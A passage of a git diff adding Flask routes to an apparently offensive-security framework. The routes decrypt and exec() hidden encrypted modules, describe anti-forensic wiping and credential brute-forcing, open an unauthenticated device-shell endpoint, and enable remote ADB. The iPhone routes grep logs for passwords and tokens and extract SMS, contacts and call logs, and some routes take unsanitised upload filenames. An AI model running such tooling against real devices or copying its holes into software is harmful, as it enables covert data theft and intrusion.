'Poison Pill', + 'floppy_dick': 'Floppy_Dick', + 'floppydick': 'Floppy_Dick', +} + +_DESCRIPTIONS = { + 'TOR-Pedo Hunter Killer': + 'Identifies and reports CSAM distributors and predator networks on Tor hidden services. ' + 'Generates law-enforcement referral dossiers. Authorized investigations only.', + 'Poison Pill': + 'Emergency anti-forensic self-protection. Securely wipes configured data paths, ' + 'rotates credentials, kills sessions, and triggers remote wipe on companion devices.', + 'Floppy_Dick': + 'Legacy-protocol credential fuzzer. Tests FTP, Telnet, SMTP, SNMP v1/v2c, and ' + 'other deprecated authentication endpoints. For authorized pentest engagements.', +} + +_TAGS = { + 'TOR-Pedo Hunter Killer': ['CSAM', 'TOR', 'OSINT', 'counter'], + 'Poison Pill': ['anti-forensic', 'emergency', 'wipe'], + 'Floppy_Dick': ['brute-force', 'auth', 'legacy', 'pentest'], +} + +_TAG_COLORS = { + 'CSAM': 'danger', 'TOR': 'danger', 'counter': 'warn', + 'OSINT': 'info', 'anti-forensic': 'warn', 'emergency': 'danger', + 'wipe': 'danger', 'brute-force': 'warn', 'auth': 'info', + 'legacy': 'dim', 'pentest': 'info', +} + + +def _resolve_display_name(stem: str) -> str: + key = stem.lower().replace('-', '_') + return _DISPLAY_NAMES.get(key, stem.replace('_', ' ').replace('-', ' ').title()) + + +def _read_sidecar(aes_path: Path) -> dict: + """Try to read a .json sidecar file alongside the .aes file.""" + sidecar = aes_path.with_suffix('.json') + if sidecar.exists(): + try: + return json.loads(sidecar.read_text(encoding='utf-8')) + except Exception: + pass + return {} + + +def _read_autarch_meta(aes_path: Path) -> dict: + """Try to read embedded AUTARCH-format metadata without decrypting.""" + try: + from core.module_crypto import read_metadata + meta = read_metadata(aes_path) + if meta: + return meta + except Exception: + pass + return {} + + +def _get_module_info(path: Path) -> dict: + """Build a metadata dict for a single .aes file.""" + stem = path.stem + meta = _read_autarch_meta(path) or _read_sidecar(path) + display = meta.get('name') or _resolve_display_name(stem) + size_kb = round(path.stat().st_size / 1024, 1) + + return { + 'id': stem, + 'filename': path.name, + 'path': str(path), + 'name': display, + 'description': meta.get('description') or _DESCRIPTIONS.get(display, ''), + 'version': meta.get('version', '—'), + 'author': meta.get('author', '—'), + 'tags': meta.get('tags') or _TAGS.get(display, []), + 'tag_colors': _TAG_COLORS, + 'size_kb': size_kb, + } + + +def _list_modules() -> list[dict]: + d = _module_dir() + modules = [] + for p in sorted(d.glob('*.aes')): + modules.append(_get_module_info(p)) + return modules + + +# ── Decryption ──────────────────────────────────────────────────────────────── + +def _decrypt_aes_file(path: Path, password: str) -> str: + """ + Decrypt an .aes file and return the Python source string. + + Tries AUTARCH format first, then falls back to raw AES-256-CBC + with the password as a 32-byte key (PBKDF2-derived or raw). + """ + data = path.read_bytes() + + # ── AUTARCH format ──────────────────────────────────────────────────────── + try: + from core.module_crypto import decrypt_module + source, _ = decrypt_module(data, password) + return source + except ValueError as e: + if 'bad magic' not in str(e).lower(): + raise # Wrong password or tampered — propagate + except Exception: + pass + + # ── Fallback: raw AES-256-CBC, IV in first 16 bytes ────────────────────── + # Key derived from password via SHA-512 (first 32 bytes) + import hashlib + raw_key = hashlib.sha512(password.encode('utf-8')).digest()[:32] + iv = data[:16] + ciphertext = data[16:] + + from core.module_crypto import _aes_decrypt + try: + plaintext = _aes_decrypt(raw_key, iv, ciphertext) + return plaintext.decode('utf-8') + except Exception: + pass + + # ── Fallback 2: PBKDF2 with fixed salt ─────────────────────────────────── + import struct + # Try with the first 16 bytes as IV and empty salt PBKDF2 + pbkdf_key = hashlib.pbkdf2_hmac('sha512', password.encode(), b'\x00' * 32, 10000, dklen=32) + try: + plaintext = _aes_decrypt(pbkdf_key, iv, ciphertext) + return plaintext.decode('utf-8') + except Exception: + pass + + raise ValueError("Decryption failed — check your password/key") + + +# ── Execution ───────────────────────────────────────────────────────────────── + +_active_runs: dict = {} # run_id -> {'steps': [], 'done': bool, 'stop': Event} + + +def _exec_module(source: str, params: dict, run_id: str) -> None: + """Execute decrypted module source in a background thread.""" + run = _active_runs[run_id] + steps = run['steps'] + + def output_cb(item: dict) -> None: + steps.append(item) + + output_cb({'line': '[MODULE] Starting...'}) + namespace: dict = { + '__name__': '__encmod__', + '__builtins__': __builtins__, + } + try: + exec(compile(source, '', 'exec'), namespace) + if 'run' in namespace and callable(namespace['run']): + result = namespace['run'](params, output_cb=output_cb) + steps.append({'line': f'[MODULE] Finished.', 'result': result}) + else: + steps.append({'line': '[MODULE] No run() function found — module loaded but not executed.'}) + except Exception as exc: + steps.append({'line': f'[MODULE][ERROR] {exc}', 'error': True}) + finally: + run['done'] = True + + +# ── Routes ──────────────────────────────────────────────────────────────────── + +@encmodules_bp.route('/') +@login_required +def index(): + return render_template('encmodules.html', modules=_list_modules()) + + +@encmodules_bp.route('/upload', methods=['POST']) +@login_required +def upload(): + f = request.files.get('module_file') + if not f or not f.filename: + return jsonify({'error': 'No file provided'}) + filename = f.filename + if not filename.lower().endswith('.aes'): + return jsonify({'error': 'Only .aes files are accepted'}) + dest = _module_dir() / Path(filename).name + f.save(str(dest)) + info = _get_module_info(dest) + return jsonify({'ok': True, 'module': info}) + + +@encmodules_bp.route('/verify', methods=['POST']) +@login_required +def verify(): + """Try to decrypt a module with the given password and return status (no execution).""" + data = request.get_json(silent=True) or {} + filename = data.get('filename', '').strip() + password = data.get('password', '').strip() + if not filename or not password: + return jsonify({'error': 'filename and password required'}) + path = _module_dir() / filename + if not path.exists(): + return jsonify({'error': 'Module not found'}) + try: + source = _decrypt_aes_file(path, password) + lines = source.count('\n') + 1 + has_run = 'def run(' in source + return jsonify({'ok': True, 'lines': lines, 'has_run': has_run}) + except ValueError as exc: + return jsonify({'error': str(exc)}) + except Exception as exc: + return jsonify({'error': f'Unexpected error: {exc}'}) + + +@encmodules_bp.route('/run', methods=['POST']) +@login_required +def run_module(): + """Decrypt and execute a module, returning a run_id for SSE streaming.""" + data = request.get_json(silent=True) or {} + filename = data.get('filename', '').strip() + password = data.get('password', '').strip() + params = data.get('params', {}) + if not filename or not password: + return jsonify({'error': 'filename and password required'}) + path = _module_dir() / filename + if not path.exists(): + return jsonify({'error': 'Module not found'}) + try: + source = _decrypt_aes_file(path, password) + except ValueError as exc: + return jsonify({'error': str(exc)}) + except Exception as exc: + return jsonify({'error': f'Decrypt error: {exc}'}) + + run_id = str(uuid.uuid4()) + stop_ev = threading.Event() + _active_runs[run_id] = {'steps': [], 'done': False, 'stop': stop_ev} + + t = threading.Thread(target=_exec_module, args=(source, params, run_id), daemon=True) + t.start() + + return jsonify({'ok': True, 'run_id': run_id}) + + +@encmodules_bp.route('/stream/') +@login_required +def stream(run_id: str): + """SSE stream for a running module.""" + def generate(): + run = _active_runs.get(run_id) + if not run: + yield f"data: {json.dumps({'error': 'Run not found'})}\n\n" + return + sent = 0 + while True: + steps = run['steps'] + while sent < len(steps): + yield f"data: {json.dumps(steps[sent])}\n\n" + sent += 1 + if run['done']: + yield f"data: {json.dumps({'done': True})}\n\n" + _active_runs.pop(run_id, None) + return + time.sleep(0.1) + + return Response(generate(), mimetype='text/event-stream', + headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'}) + + +@encmodules_bp.route('/stop/', methods=['POST']) +@login_required +def stop_run(run_id: str): + run = _active_runs.get(run_id) + if run: + run['stop'].set() + run['done'] = True + return jsonify({'stopped': bool(run)}) + + +@encmodules_bp.route('/delete', methods=['POST']) +@login_required +def delete(): + data = request.get_json(silent=True) or {} + filename = data.get('filename', '').strip() + if not filename: + return jsonify({'error': 'filename required'}) + path = _module_dir() / filename + if path.exists() and path.suffix.lower() == '.aes': + path.unlink() + sidecar = path.with_suffix('.json') + if sidecar.exists(): + sidecar.unlink() + return jsonify({'ok': True}) + return jsonify({'error': 'File not found or invalid'}) + + +@encmodules_bp.route('/list') +@login_required +def list_modules(): + return jsonify({'modules': _list_modules()}) diff --git a/web/routes/hardware.py b/web/routes/hardware.py new file mode 100644 index 0000000..a87793a --- /dev/null +++ b/web/routes/hardware.py @@ -0,0 +1,416 @@ +"""Hardware route - ADB/Fastboot device management and ESP32 serial flashing.""" + +import json +import time +from flask import Blueprint, render_template, request, jsonify, Response, stream_with_context +from web.auth import login_required + +hardware_bp = Blueprint('hardware', __name__, url_prefix='/hardware') + + +@hardware_bp.route('/') +@login_required +def index(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + status = mgr.get_status() + return render_template('hardware.html', status=status) + + +@hardware_bp.route('/status') +@login_required +def status(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + return jsonify(mgr.get_status()) + + +# ── ADB Endpoints ────────────────────────────────────────────────── + +@hardware_bp.route('/adb/devices') +@login_required +def adb_devices(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + return jsonify({'devices': mgr.adb_devices()}) + + +@hardware_bp.route('/adb/info', methods=['POST']) +@login_required +def adb_info(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(mgr.adb_device_info(serial)) + + +@hardware_bp.route('/adb/shell', methods=['POST']) +@login_required +def adb_shell(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + command = data.get('command', '').strip() + if not serial: + return jsonify({'error': 'No serial provided'}) + if not command: + return jsonify({'error': 'No command provided'}) + result = mgr.adb_shell(serial, command) + return jsonify({ + 'stdout': result.get('output', ''), + 'stderr': '', + 'exit_code': result.get('returncode', -1), + }) + + +@hardware_bp.route('/adb/reboot', methods=['POST']) +@login_required +def adb_reboot(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + mode = data.get('mode', 'system').strip() + if not serial: + return jsonify({'error': 'No serial provided'}) + if mode not in ('system', 'recovery', 'bootloader'): + return jsonify({'error': 'Invalid mode'}) + return jsonify(mgr.adb_reboot(serial, mode)) + + +@hardware_bp.route('/adb/sideload', methods=['POST']) +@login_required +def adb_sideload(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + filepath = data.get('filepath', '').strip() + if not serial: + return jsonify({'error': 'No serial provided'}) + if not filepath: + return jsonify({'error': 'No filepath provided'}) + return jsonify(mgr.adb_sideload(serial, filepath)) + + +@hardware_bp.route('/adb/push', methods=['POST']) +@login_required +def adb_push(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + local_path = data.get('local', '').strip() + remote_path = data.get('remote', '').strip() + if not serial or not local_path or not remote_path: + return jsonify({'error': 'Missing serial, local, or remote path'}) + return jsonify(mgr.adb_push(serial, local_path, remote_path)) + + +@hardware_bp.route('/adb/pull', methods=['POST']) +@login_required +def adb_pull(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + remote_path = data.get('remote', '').strip() + if not serial or not remote_path: + return jsonify({'error': 'Missing serial or remote path'}) + return jsonify(mgr.adb_pull(serial, remote_path)) + + +@hardware_bp.route('/adb/logcat', methods=['POST']) +@login_required +def adb_logcat(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + lines = int(data.get('lines', 100)) + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(mgr.adb_logcat(serial, lines)) + + +@hardware_bp.route('/archon/bootstrap', methods=['POST']) +def archon_bootstrap(): + """Bootstrap ArchonServer on a USB-connected Android device. + + No auth required — this is called by the companion app itself. + Only runs the specific app_process bootstrap command (not arbitrary shell). + """ + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + + data = request.get_json(silent=True) or {} + apk_path = data.get('apk_path', '').strip() + token = data.get('token', '').strip() + port = int(data.get('port', 17321)) + + if not apk_path or not token: + return jsonify({'ok': False, 'error': 'Missing apk_path or token'}), 400 + + # Validate inputs to prevent injection + if not apk_path.startswith('/data/app/') or "'" in apk_path or '"' in apk_path: + return jsonify({'ok': False, 'error': 'Invalid APK path'}), 400 + if not token.isalnum() or len(token) > 64: + return jsonify({'ok': False, 'error': 'Invalid token'}), 400 + if port < 1024 or port > 65535: + return jsonify({'ok': False, 'error': 'Invalid port'}), 400 + + # Find USB-connected device + devices = mgr.adb_devices() + usb_devices = [d for d in devices if ':' not in d.get('serial', '')] + if not usb_devices: + usb_devices = devices + if not usb_devices: + return jsonify({'ok': False, 'error': 'No ADB devices connected'}), 404 + + serial = usb_devices[0].get('serial', '') + + # Construct the bootstrap command (server-side, safe) + cmd = ( + f"TMPDIR=/data/local/tmp " + f"CLASSPATH='{apk_path}' " + f"nohup /system/bin/app_process /system/bin " + f"com.darkhal.archon.server.ArchonServer {token} {port} " + f"> /data/local/tmp/archon_server.log 2>&1 & echo started" + ) + + result = mgr.adb_shell(serial, cmd) + output = result.get('output', '') + exit_code = result.get('returncode', -1) + + if exit_code == 0 or 'started' in output: + return jsonify({'ok': True, 'stdout': output, 'stderr': '', 'exit_code': exit_code}) + else: + return jsonify({'ok': False, 'stdout': output, 'stderr': '', 'exit_code': exit_code}) + + +@hardware_bp.route('/adb/setup-tcp', methods=['POST']) +@login_required +def adb_setup_tcp(): + """Enable ADB TCP/IP mode on a USB-connected device. + Called by the Archon companion app to set up remote ADB access. + Finds the first USB-connected device, enables TCP mode on port 5555, + and returns the device's IP address for wireless connection.""" + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + + data = request.get_json(silent=True) or {} + port = int(data.get('port', 5555)) + serial = data.get('serial', '').strip() + + # Find a USB-connected device if no serial specified + if not serial: + devices = mgr.adb_devices() + usb_devices = [d for d in devices if 'usb' in d.get('type', '').lower() + or ':' not in d.get('serial', '')] + if not usb_devices: + # Fall back to any connected device + usb_devices = devices + if not usb_devices: + return jsonify({'ok': False, 'error': 'No ADB devices connected via USB'}) + serial = usb_devices[0].get('serial', '') + + if not serial: + return jsonify({'ok': False, 'error': 'No device serial available'}) + + # Get device IP address before switching to TCP mode + ip_result = mgr.adb_shell(serial, 'ip route show default 2>/dev/null | grep -oP "src \\K[\\d.]+"') + device_ip = ip_result.get('stdout', '').strip() if ip_result.get('exit_code', -1) == 0 else '' + + # Enable TCP/IP mode + result = mgr.adb_shell(serial, f'setprop service.adb.tcp.port {port}') + if result.get('exit_code', -1) != 0: + return jsonify({'ok': False, 'error': f'Failed to set TCP port: {result.get("stderr", "")}'}) + + # Restart adbd to apply + mgr.adb_shell(serial, 'stop adbd && start adbd') + + return jsonify({ + 'ok': True, + 'serial': serial, + 'ip': device_ip, + 'port': port, + 'message': f'ADB TCP mode enabled on {device_ip}:{port}' + }) + + +# ── Fastboot Endpoints ───────────────────────────────────────────── + +@hardware_bp.route('/fastboot/devices') +@login_required +def fastboot_devices(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + return jsonify({'devices': mgr.fastboot_devices()}) + + +@hardware_bp.route('/fastboot/info', methods=['POST']) +@login_required +def fastboot_info(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(mgr.fastboot_device_info(serial)) + + +@hardware_bp.route('/fastboot/flash', methods=['POST']) +@login_required +def fastboot_flash(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + partition = data.get('partition', '').strip() + filepath = data.get('filepath', '').strip() + if not serial or not partition or not filepath: + return jsonify({'error': 'Missing serial, partition, or filepath'}) + return jsonify(mgr.fastboot_flash(serial, partition, filepath)) + + +@hardware_bp.route('/fastboot/reboot', methods=['POST']) +@login_required +def fastboot_reboot(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + mode = data.get('mode', 'system').strip() + if not serial: + return jsonify({'error': 'No serial provided'}) + if mode not in ('system', 'bootloader', 'recovery'): + return jsonify({'error': 'Invalid mode'}) + return jsonify(mgr.fastboot_reboot(serial, mode)) + + +@hardware_bp.route('/fastboot/unlock', methods=['POST']) +@login_required +def fastboot_unlock(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(mgr.fastboot_oem_unlock(serial)) + + +# ── Operation Progress SSE ────────────────────────────────────────── + +@hardware_bp.route('/progress/stream') +@login_required +def progress_stream(): + """SSE stream for operation progress (sideload, flash, etc.).""" + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + op_id = request.args.get('op_id', '') + + def generate(): + while True: + prog = mgr.get_operation_progress(op_id) + yield f'data: {json.dumps(prog)}\n\n' + if prog.get('status') in ('done', 'error', 'unknown'): + break + time.sleep(0.5) + + return Response(stream_with_context(generate()), content_type='text/event-stream') + + +# ── Serial / ESP32 Endpoints ────────────────────────────────────── + +@hardware_bp.route('/serial/ports') +@login_required +def serial_ports(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + return jsonify({'ports': mgr.list_serial_ports()}) + + +@hardware_bp.route('/serial/detect', methods=['POST']) +@login_required +def serial_detect(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + port = data.get('port', '').strip() + baud = int(data.get('baud', 115200)) + if not port: + return jsonify({'error': 'No port provided'}) + return jsonify(mgr.detect_esp_chip(port, baud)) + + +@hardware_bp.route('/serial/flash', methods=['POST']) +@login_required +def serial_flash(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + port = data.get('port', '').strip() + filepath = data.get('filepath', '').strip() + baud = int(data.get('baud', 460800)) + if not port or not filepath: + return jsonify({'error': 'Missing port or filepath'}) + return jsonify(mgr.flash_esp(port, filepath, baud)) + + +@hardware_bp.route('/serial/monitor/start', methods=['POST']) +@login_required +def monitor_start(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + port = data.get('port', '').strip() + baud = int(data.get('baud', 115200)) + if not port: + return jsonify({'error': 'No port provided'}) + return jsonify(mgr.serial_monitor_start(port, baud)) + + +@hardware_bp.route('/serial/monitor/stop', methods=['POST']) +@login_required +def monitor_stop(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + return jsonify(mgr.serial_monitor_stop()) + + +@hardware_bp.route('/serial/monitor/send', methods=['POST']) +@login_required +def monitor_send(): + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + text = data.get('data', '') + return jsonify(mgr.serial_monitor_send(text)) + + +@hardware_bp.route('/serial/monitor/stream') +@login_required +def monitor_stream(): + """SSE stream for serial monitor output.""" + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + + def generate(): + last_index = 0 + while mgr.monitor_running: + result = mgr.serial_monitor_get_output(last_index) + if result['lines']: + for line in result['lines']: + yield f'data: {json.dumps({"type": "data", "line": line["data"]})}\n\n' + last_index = result['total'] + yield f'data: {json.dumps({"type": "status", "running": True, "total": result["total"]})}\n\n' + time.sleep(0.3) + yield f'data: {json.dumps({"type": "stopped"})}\n\n' + + return Response(stream_with_context(generate()), content_type='text/event-stream') diff --git a/web/routes/iphone_exploit.py b/web/routes/iphone_exploit.py new file mode 100644 index 0000000..07fd71c --- /dev/null +++ b/web/routes/iphone_exploit.py @@ -0,0 +1,399 @@ +"""iPhone Exploitation routes - Local USB device access via libimobiledevice.""" + +import os +from flask import Blueprint, render_template, request, jsonify +from web.auth import login_required + +iphone_exploit_bp = Blueprint('iphone_exploit', __name__, url_prefix='/iphone-exploit') + + +def _get_mgr(): + from core.iphone_exploit import get_iphone_manager + return get_iphone_manager() + + +def _get_udid(): + data = request.get_json(silent=True) or {} + udid = data.get('udid', '').strip() + if not udid: + return None, jsonify({'error': 'No UDID provided'}) + return udid, None + + +@iphone_exploit_bp.route('/') +@login_required +def index(): + mgr = _get_mgr() + status = mgr.get_status() + return render_template('iphone_exploit.html', status=status) + + +# ── Device Management ──────────────────────────────────────────── + +@iphone_exploit_bp.route('/devices', methods=['POST']) +@login_required +def list_devices(): + return jsonify({'devices': _get_mgr().list_devices()}) + + +@iphone_exploit_bp.route('/device-info', methods=['POST']) +@login_required +def device_info(): + udid, err = _get_udid() + if err: + return err + return jsonify(_get_mgr().device_info(udid)) + + +@iphone_exploit_bp.route('/fingerprint', methods=['POST']) +@login_required +def fingerprint(): + udid, err = _get_udid() + if err: + return err + return jsonify(_get_mgr().full_fingerprint(udid)) + + +@iphone_exploit_bp.route('/pair', methods=['POST']) +@login_required +def pair(): + udid, err = _get_udid() + if err: + return err + return jsonify(_get_mgr().pair_device(udid)) + + +@iphone_exploit_bp.route('/unpair', methods=['POST']) +@login_required +def unpair(): + udid, err = _get_udid() + if err: + return err + return jsonify(_get_mgr().unpair_device(udid)) + + +@iphone_exploit_bp.route('/validate-pair', methods=['POST']) +@login_required +def validate_pair(): + udid, err = _get_udid() + if err: + return err + return jsonify(_get_mgr().validate_pair(udid)) + + +@iphone_exploit_bp.route('/get-name', methods=['POST']) +@login_required +def get_name(): + udid, err = _get_udid() + if err: + return err + return jsonify(_get_mgr().get_name(udid)) + + +@iphone_exploit_bp.route('/set-name', methods=['POST']) +@login_required +def set_name(): + udid, err = _get_udid() + if err: + return err + data = request.get_json(silent=True) or {} + name = data.get('name', '').strip() + if not name: + return jsonify({'error': 'No name provided'}) + return jsonify(_get_mgr().set_name(udid, name)) + + +@iphone_exploit_bp.route('/restart', methods=['POST']) +@login_required +def restart(): + udid, err = _get_udid() + if err: + return err + return jsonify(_get_mgr().restart_device(udid)) + + +@iphone_exploit_bp.route('/shutdown', methods=['POST']) +@login_required +def shutdown(): + udid, err = _get_udid() + if err: + return err + return jsonify(_get_mgr().shutdown_device(udid)) + + +@iphone_exploit_bp.route('/sleep', methods=['POST']) +@login_required +def sleep_dev(): + udid, err = _get_udid() + if err: + return err + return jsonify(_get_mgr().sleep_device(udid)) + + +# ── Capture ────────────────────────────────────────────────────── + +@iphone_exploit_bp.route('/screenshot', methods=['POST']) +@login_required +def screenshot(): + udid, err = _get_udid() + if err: + return err + return jsonify(_get_mgr().screenshot(udid)) + + +@iphone_exploit_bp.route('/syslog', methods=['POST']) +@login_required +def syslog(): + udid, err = _get_udid() + if err: + return err + data = request.get_json(silent=True) or {} + duration = int(data.get('duration', 5)) + return jsonify(_get_mgr().syslog_dump(udid, duration=duration)) + + +@iphone_exploit_bp.route('/syslog-grep', methods=['POST']) +@login_required +def syslog_grep(): + udid, err = _get_udid() + if err: + return err + data = request.get_json(silent=True) or {} + pattern = data.get('pattern', 'password|token|key|secret') + duration = int(data.get('duration', 5)) + return jsonify(_get_mgr().syslog_grep(udid, pattern, duration=duration)) + + +@iphone_exploit_bp.route('/crash-reports', methods=['POST']) +@login_required +def crash_reports(): + udid, err = _get_udid() + if err: + return err + return jsonify(_get_mgr().crash_reports(udid)) + + +# ── Apps ───────────────────────────────────────────────────────── + +@iphone_exploit_bp.route('/apps/list', methods=['POST']) +@login_required +def list_apps(): + udid, err = _get_udid() + if err: + return err + data = request.get_json(silent=True) or {} + app_type = data.get('type', 'user') + return jsonify(_get_mgr().list_apps(udid, app_type=app_type)) + + +@iphone_exploit_bp.route('/apps/install', methods=['POST']) +@login_required +def install_app(): + udid = request.form.get('udid', '').strip() + if not udid: + return jsonify({'error': 'No UDID provided'}) + f = request.files.get('file') + if not f: + return jsonify({'error': 'No file uploaded'}) + from core.paths import get_uploads_dir + upload_path = str(get_uploads_dir() / f.filename) + f.save(upload_path) + return jsonify(_get_mgr().install_app(udid, upload_path)) + + +@iphone_exploit_bp.route('/apps/uninstall', methods=['POST']) +@login_required +def uninstall_app(): + udid, err = _get_udid() + if err: + return err + data = request.get_json(silent=True) or {} + bundle_id = data.get('bundle_id', '').strip() + if not bundle_id: + return jsonify({'error': 'No bundle_id provided'}) + return jsonify(_get_mgr().uninstall_app(udid, bundle_id)) + + +# ── Backup & Extraction ───────────────────────────────────────── + +@iphone_exploit_bp.route('/backup/create', methods=['POST']) +@login_required +def backup_create(): + udid, err = _get_udid() + if err: + return err + data = request.get_json(silent=True) or {} + encrypted = data.get('encrypted', False) + password = data.get('password', '') + return jsonify(_get_mgr().create_backup(udid, encrypted=encrypted, password=password)) + + +@iphone_exploit_bp.route('/backup/list', methods=['POST']) +@login_required +def backup_list(): + return jsonify(_get_mgr().list_backups()) + + +@iphone_exploit_bp.route('/backup/sms', methods=['POST']) +@login_required +def backup_sms(): + data = request.get_json(silent=True) or {} + backup_path = data.get('backup_path', '').strip() + if not backup_path: + return jsonify({'error': 'No backup_path provided'}) + return jsonify(_get_mgr().extract_backup_sms(backup_path)) + + +@iphone_exploit_bp.route('/backup/contacts', methods=['POST']) +@login_required +def backup_contacts(): + data = request.get_json(silent=True) or {} + backup_path = data.get('backup_path', '').strip() + if not backup_path: + return jsonify({'error': 'No backup_path provided'}) + return jsonify(_get_mgr().extract_backup_contacts(backup_path)) + + +@iphone_exploit_bp.route('/backup/calls', methods=['POST']) +@login_required +def backup_calls(): + data = request.get_json(silent=True) or {} + backup_path = data.get('backup_path', '').strip() + if not backup_path: + return jsonify({'error': 'No backup_path provided'}) + return jsonify(_get_mgr().extract_backup_call_log(backup_path)) + + +@iphone_exploit_bp.route('/backup/notes', methods=['POST']) +@login_required +def backup_notes(): + data = request.get_json(silent=True) or {} + backup_path = data.get('backup_path', '').strip() + if not backup_path: + return jsonify({'error': 'No backup_path provided'}) + return jsonify(_get_mgr().extract_backup_notes(backup_path)) + + +@iphone_exploit_bp.route('/backup/files', methods=['POST']) +@login_required +def backup_files(): + data = request.get_json(silent=True) or {} + backup_path = data.get('backup_path', '').strip() + if not backup_path: + return jsonify({'error': 'No backup_path provided'}) + domain = data.get('domain', '') + path_filter = data.get('path_filter', '') + return jsonify(_get_mgr().list_backup_files(backup_path, domain=domain, path_filter=path_filter)) + + +@iphone_exploit_bp.route('/backup/extract-file', methods=['POST']) +@login_required +def backup_extract_file(): + data = request.get_json(silent=True) or {} + backup_path = data.get('backup_path', '').strip() + file_hash = data.get('file_hash', '').strip() + if not backup_path or not file_hash: + return jsonify({'error': 'Missing backup_path or file_hash'}) + output_name = data.get('output_name') or None + return jsonify(_get_mgr().extract_backup_file(backup_path, file_hash, output_name=output_name)) + + +# ── Filesystem ─────────────────────────────────────────────────── + +@iphone_exploit_bp.route('/fs/mount', methods=['POST']) +@login_required +def fs_mount(): + udid, err = _get_udid() + if err: + return err + return jsonify(_get_mgr().mount_filesystem(udid)) + + +@iphone_exploit_bp.route('/fs/mount-app', methods=['POST']) +@login_required +def fs_mount_app(): + udid, err = _get_udid() + if err: + return err + data = request.get_json(silent=True) or {} + bundle_id = data.get('bundle_id', '').strip() + if not bundle_id: + return jsonify({'error': 'No bundle_id provided'}) + return jsonify(_get_mgr().mount_app_documents(udid, bundle_id)) + + +@iphone_exploit_bp.route('/fs/unmount', methods=['POST']) +@login_required +def fs_unmount(): + data = request.get_json(silent=True) or {} + mountpoint = data.get('mountpoint', '').strip() + if not mountpoint: + return jsonify({'error': 'No mountpoint provided'}) + _get_mgr().unmount_filesystem(mountpoint) + return jsonify({'success': True, 'output': 'Unmounted'}) + + +# ── Profiles ───────────────────────────────────────────────────── + +@iphone_exploit_bp.route('/profiles/list', methods=['POST']) +@login_required +def profiles_list(): + udid, err = _get_udid() + if err: + return err + return jsonify(_get_mgr().list_profiles(udid)) + + +@iphone_exploit_bp.route('/profiles/install', methods=['POST']) +@login_required +def profiles_install(): + udid = request.form.get('udid', '').strip() + if not udid: + return jsonify({'error': 'No UDID provided'}) + f = request.files.get('file') + if not f: + return jsonify({'error': 'No file uploaded'}) + from core.paths import get_uploads_dir + upload_path = str(get_uploads_dir() / f.filename) + f.save(upload_path) + return jsonify(_get_mgr().install_profile(udid, upload_path)) + + +@iphone_exploit_bp.route('/profiles/remove', methods=['POST']) +@login_required +def profiles_remove(): + udid, err = _get_udid() + if err: + return err + data = request.get_json(silent=True) or {} + profile_id = data.get('profile_id', '').strip() + if not profile_id: + return jsonify({'error': 'No profile_id provided'}) + return jsonify(_get_mgr().remove_profile(udid, profile_id)) + + +# ── Network ────────────────────────────────────────────────────── + +@iphone_exploit_bp.route('/port-forward', methods=['POST']) +@login_required +def port_forward(): + udid, err = _get_udid() + if err: + return err + data = request.get_json(silent=True) or {} + local_port = data.get('local_port') + device_port = data.get('device_port') + if not local_port or not device_port: + return jsonify({'error': 'Missing local_port or device_port'}) + return jsonify(_get_mgr().port_forward(udid, int(local_port), int(device_port))) + + +# ── Recon ──────────────────────────────────────────────────────── + +@iphone_exploit_bp.route('/recon/export', methods=['POST']) +@login_required +def recon_export(): + udid, err = _get_udid() + if err: + return err + return jsonify(_get_mgr().export_recon_report(udid)) diff --git a/web/routes/msf.py b/web/routes/msf.py new file mode 100644 index 0000000..331dfaf --- /dev/null +++ b/web/routes/msf.py @@ -0,0 +1,64 @@ +"""MSF RPC Console page — raw console interaction and connection management.""" + +from flask import Blueprint, render_template, request, jsonify +from web.auth import login_required + +msf_bp = Blueprint('msf', __name__, url_prefix='/msf') + + +@msf_bp.route('/') +@login_required +def index(): + return render_template('msf.html') + + +@msf_bp.route('/status') +@login_required +def status(): + """Check MSF connection status.""" + try: + from core.msf_interface import get_msf_interface + msf = get_msf_interface() + result = {'connected': msf.is_connected} + if msf.is_connected: + try: + settings = msf.manager.get_settings() + 